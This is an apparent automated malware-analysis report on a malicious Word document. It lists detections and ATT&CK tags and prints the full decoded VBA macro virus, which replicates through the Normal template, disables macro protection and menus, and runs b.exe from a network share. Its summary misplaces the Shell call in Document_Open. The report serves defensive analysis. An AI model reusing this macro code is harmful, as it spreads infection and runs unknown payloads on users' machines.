MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to execute a file named 'b.exe' from the network share '\\jdq\cc$\b.exe' using the Shell() function. It also attempts to remove itself from the document. The presence of the Document_Open macro and the Shell() call strongly indicate a malicious intent to download and execute a secondary payload.
Heuristics 6
-
ClamAV: Doc.Macro.DeleteMacro-6096859-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.DeleteMacro-6096859-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/exif/1.0/aux/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3491 bytes |
SHA-256: 0567c93b604a0a01bca4c05fe63b749673e7e2df3f7b1c5ec24ff1eeda64fb62 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
CommandBars("Macro").Controls(4).Delete
CommandBars("Macro").Controls(3).Delete
CommandBars("Macro").Controls(2).Delete
CommandBars("Macro").Controls(1).Delete
CommandBars("Tools").Controls(17).Delete
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
If x3 = True Then
x2 = NormalTemplate.Saved
x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
x6.codemodule.AddFromString x11
If x2 = True Then NormalTemplate.Save
End If
If x4 = True Or ActiveDocument.Saved = False Then
x1 = ActiveDocument.Saved
x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
x5.codemodule.AddFromString x11
If x1 = True Then ActiveDocument.Save
End If
End If
End Sub
Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If
End Sub
Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.